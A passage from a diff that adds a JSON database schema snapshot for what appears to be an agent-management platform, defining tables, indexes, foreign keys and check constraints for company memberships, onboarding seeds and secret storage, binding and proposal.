+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_memberships_company_principal_unique_idx": {
+          "name": "company_memberships_company_principal_unique_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "principal_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "principal_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_memberships_principal_status_idx": {
+          "name": "company_memberships_principal_status_idx",
+          "columns": [
+            {
+              "expression": "principal_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "principal_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_memberships_company_status_idx": {
+          "name": "company_memberships_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_memberships_company_id_companies_id_fk": {
+          "name": "company_memberships_company_id_companies_id_fk",
+          "tableFrom": "company_memberships",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_onboarding_seeds": {
+      "name": "company_onboarding_seeds",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "revision": {
+          "name": "revision",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "mission": {
+          "name": "mission",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "agent_name": {
+          "name": "agent_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "agent_role": {
+          "name": "agent_role",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "first_task_title": {
+          "name": "first_task_title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "first_task_details": {
+          "name": "first_task_details",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "goal_id": {
+          "name": "goal_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "applied_at": {
+          "name": "applied_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_onboarding_seeds_company_uq": {
+          "name": "company_onboarding_seeds_company_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_onboarding_seeds_company_id_companies_id_fk": {
+          "name": "company_onboarding_seeds_company_id_companies_id_fk",
+          "tableFrom": "company_onboarding_seeds",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_onboarding_seeds_goal_id_goals_id_fk": {
+          "name": "company_onboarding_seeds_goal_id_goals_id_fk",
+          "tableFrom": "company_onboarding_seeds",
+          "tableTo": "goals",
+          "columnsFrom": [
+            "goal_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_onboarding_seeds_agent_id_agents_id_fk": {
+          "name": "company_onboarding_seeds_agent_id_agents_id_fk",
+          "tableFrom": "company_onboarding_seeds",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_onboarding_seeds_issue_id_issues_id_fk": {
+          "name": "company_onboarding_seeds_issue_id_issues_id_fk",
+          "tableFrom": "company_onboarding_seeds",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_secret_bindings": {
+      "name": "company_secret_bindings",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "secret_id": {
+          "name": "secret_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_type": {
+          "name": "target_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_id": {
+          "name": "target_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "config_path": {
+          "name": "config_path",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "version_selector": {
+          "name": "version_selector",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'latest'"
+        },
+        "required": {
+          "name": "required",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": true
+        },
+        "label": {
+          "name": "label",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "projection_class": {
+          "name": "projection_class",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'unclassified'"
+        },
+        "projection_allowlist_key": {
+          "name": "projection_allowlist_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_secret_bindings_company_idx": {
+          "name": "company_secret_bindings_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_bindings_secret_idx": {
+          "name": "company_secret_bindings_secret_idx",
+          "columns": [
+            {
+              "expression": "secret_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_bindings_target_idx": {
+          "name": "company_secret_bindings_target_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_bindings_target_path_uq": {
+          "name": "company_secret_bindings_target_path_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "config_path",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_secret_bindings_company_id_companies_id_fk": {
+          "name": "company_secret_bindings_company_id_companies_id_fk",
+          "tableFrom": "company_secret_bindings",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "company_secret_bindings_secret_id_company_secrets_id_fk": {
+          "name": "company_secret_bindings_secret_id_company_secrets_id_fk",
+          "tableFrom": "company_secret_bindings",
+          "tableTo": "company_secrets",
+          "columnsFrom": [
+            "secret_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_secret_proposals": {
+      "name": "company_secret_proposals",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "kind": {
+          "name": "kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'pending'"
+        },
+        "proposed_name": {
+          "name": "proposed_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "proposed_key": {
+          "name": "proposed_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "proposed_description": {
+          "name": "proposed_description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "justification": {
+          "name": "justification",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "value_ciphertext": {
+          "name": "value_ciphertext",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "value_fingerprint_sha256": {
+          "name": "value_fingerprint_sha256",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "value_length": {
+          "name": "value_length",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "secret_id": {
+          "name": "secret_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "secret_proposal_id": {
+          "name": "secret_proposal_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "target_type": {
+          "name": "target_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "target_id": {
+          "name": "target_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "config_path": {
+          "name": "config_path",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "projection_class": {
+          "name": "projection_class",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'unclassified'"
+        },
+        "binding_target_policy_snapshot": {
+          "name": "binding_target_policy_snapshot",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "proposer_ancestor_ids_snapshot": {
+          "name": "proposer_ancestor_ids_snapshot",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "target_ancestor_ids_snapshot": {
+          "name": "target_ancestor_ids_snapshot",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "proposed_by_agent_id": {
+          "name": "proposed_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "origin_issue_id": {
+          "name": "origin_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "origin_run_id": {
+          "name": "origin_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "interaction_id": {
+          "name": "interaction_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_by_user_id": {
+          "name": "resolved_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_at": {
+          "name": "resolved_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolution_reason": {
+          "name": "resolution_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_secret_id": {
+          "name": "created_secret_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "applied_binding_config_path": {
+          "name": "applied_binding_config_path",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "ciphertext_scrubbed_at": {
+          "name": "ciphertext_scrubbed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_secret_proposals_company_status_idx": {
+          "name": "company_secret_proposals_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_proposals_proposer_status_idx": {
+          "name": "company_secret_proposals_proposer_status_idx",
+          "columns": [
+            {
+              "expression": "proposed_by_agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_proposals_expiry_idx": {
+          "name": "company_secret_proposals_expiry_idx",
+          "columns": [
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "expires_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_proposals_secret_proposal_idx": {
+          "name": "company_secret_proposals_secret_proposal_idx",
+          "columns": [
+            {
+              "expression": "secret_proposal_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_proposals_interaction_idx": {
+          "name": "company_secret_proposals_interaction_idx",
+          "columns": [
+            {
+              "expression": "interaction_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_secret_proposals_company_id_companies_id_fk": {
+          "name": "company_secret_proposals_company_id_companies_id_fk",
+          "tableFrom": "company_secret_proposals",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "company_secret_proposals_secret_id_company_secrets_id_fk": {
+          "name": "company_secret_proposals_secret_id_company_secrets_id_fk",
+          "tableFrom": "company_secret_proposals",
+          "tableTo": "company_secrets",
+          "columnsFrom": [
+            "secret_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_secret_proposals_secret_proposal_id_company_secret_proposals_id_fk": {
+          "name": "company_secret_proposals_secret_proposal_id_company_secret_proposals_id_fk",
+          "tableFrom": "company_secret_proposals",
+          "tableTo": "company_secret_proposals",
+          "columnsFrom": [
+            "secret_proposal_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_secret_proposals_target_id_agents_id_fk": {
+          "name": "company_secret_proposals_target_id_agents_id_fk",
+          "tableFrom": "company_secret_proposals",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "target_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_secret_proposals_proposed_by_agent_id_agents_id_fk": {
+          "name": "company_secret_proposals_proposed_by_agent_id_agents_id_fk",
+          "tableFrom": "company_secret_proposals",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "proposed_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_secret_proposals_origin_issue_id_issues_id_fk": {
+          "name": "company_secret_proposals_origin_issue_id_issues_id_fk",
+          "tableFrom": "company_secret_proposals",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "origin_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_secret_proposals_origin_run_id_heartbeat_runs_id_fk": {
+          "name": "company_secret_proposals_origin_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "company_secret_proposals",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "origin_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_secret_proposals_interaction_id_issue_thread_interactions_id_fk": {
+          "name": "company_secret_proposals_interaction_id_issue_thread_interactions_id_fk",
+          "tableFrom": "company_secret_proposals",
+          "tableTo": "issue_thread_interactions",
+          "columnsFrom": [
+            "interaction_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_secret_proposals_created_secret_id_company_secrets_id_fk": {
+          "name": "company_secret_proposals_created_secret_id_company_secrets_id_fk",
+          "tableFrom": "company_secret_proposals",
+          "tableTo": "company_secrets",
+          "columnsFrom": [
+            "created_secret_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "company_secret_proposals_kind_check": {
+          "name": "company_secret_proposals_kind_check",
+          "value": "\"company_secret_proposals\".\"kind\" in ('secret', 'binding')"
+        },
+        "company_secret_proposals_status_check": {
+          "name": "company_secret_proposals_status_check",
+          "value": "\"company_secret_proposals\".\"status\" in ('pending', 'approved', 'rejected', 'withdrawn', 'expired')"
+        },
+        "company_secret_proposals_projection_check": {
+          "name": "company_secret_proposals_projection_check",
+          "value": "\"company_secret_proposals\".\"projection_class\" = 'unclassified'"
+        },
+        "company_secret_proposals_shape_check": {
+          "name": "company_secret_proposals_shape_check",
+          "value": "(\n      \"company_secret_proposals\".\"kind\" = 'secret'\n      and \"company_secret_proposals\".\"proposed_name\" is not null\n      and \"company_secret_proposals\".\"proposed_key\" is not null\n      and \"company_secret_proposals\".\"secret_id\" is null\n      and \"company_secret_proposals\".\"secret_proposal_id\" is null\n      and \"company_secret_proposals\".\"target_type\" is null\n      and \"company_secret_proposals\".\"target_id\" is null\n      and \"company_secret_proposals\".\"config_path\" is null\n    ) or (\n      \"company_secret_proposals\".\"kind\" = 'binding'\n      and ((\"company_secret_proposals\".\"secret_id\" is not null)::int + (\"company_secret_proposals\".\"secret_proposal_id\" is not null)::int) = 1\n      and \"company_secret_proposals\".\"target_type\" = 'agent'\n      and \"company_secret_proposals\".\"target_id\" is not null\n      and \"company_secret_proposals\".\"config_path\" is not null\n    )"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.company_secret_provider_configs": {
+      "name": "company_secret_provider_configs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "display_name": {
+          "name": "display_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'ready'"
+        },
+        "is_default": {
+          "name": "is_default",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "config": {
+          "name": "config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "health_status": {
+          "name": "health_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "health_checked_at": {
+          "name": "health_checked_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "health_message": {
+          "name": "health_message",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "health_details": {
+          "name": "health_details",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "disabled_at": {
+          "name": "disabled_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_secret_provider_configs_company_idx": {
+          "name": "company_secret_provider_configs_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_provider_configs_company_provider_idx": {
+          "name": "company_secret_provider_configs_company_provider_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_provider_configs_default_uq": {
+          "name": "company_secret_provider_configs_default_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"company_secret_provider_configs\".\"is_default\" = true",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_secret_provider_configs_company_id_companies_id_fk": {
+          "name": "company_secret_provider_configs_company_id_companies_id_fk",
+          "tableFrom": "company_secret_provider_configs",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_secret_provider_configs_created_by_agent_id_agents_id_fk": {
+          "name": "company_secret_provider_configs_created_by_agent_id_agents_id_fk",
+          "tableFrom": "company_secret_provider_configs",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_secret_versions": {
+      "name": "company_secret_versions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "secret_id": {
+          "name": "secret_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "version": {
+          "name": "version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "material": {
+          "name": "material",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "value_sha256": {
+          "name": "value_sha256",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider_version_ref": {
+          "name": "provider_version_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'current'"
+        },
+        "fingerprint_sha256": {
+          "name": "fingerprint_sha256",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "rotation_job_id": {
+          "name": "rotation_job_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "revoked_at": {
+          "name": "revoked_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        }
+      },
+      "indexes": {
+        "company_secret_versions_secret_idx": {
+          "name": "company_secret_versions_secret_idx",
+          "columns": [
+            {
+              "expression": "secret_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_versions_value_sha256_idx": {
+          "name": "company_secret_versions_value_sha256_idx",
+          "columns": [
+            {
+              "expression": "value_sha256",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_versions_fingerprint_idx": {
+          "name": "company_secret_versions_fingerprint_idx",
+          "columns": [
+            {
+              "expression": "fingerprint_sha256",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_versions_secret_version_uq": {
+          "name": "company_secret_versions_secret_version_uq",
+          "columns": [
+            {
+              "expression": "secret_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "version",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_secret_versions_secret_id_company_secrets_id_fk": {
+          "name": "company_secret_versions_secret_id_company_secrets_id_fk",
+          "tableFrom": "company_secret_versions",
+          "tableTo": "company_secrets",
+          "columnsFrom": [
+            "secret_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_secret_versions_created_by_agent_id_agents_id_fk": {
+          "name": "company_secret_versions_created_by_agent_id_agents_id_fk",
+          "tableFrom": "company_secret_versions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_secrets": {
+      "name": "company_secrets",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope": {
+          "name": "scope",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'company'"
+        },
+        "owner_user_id": {
+          "name": "owner_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "user_secret_definition_id": {
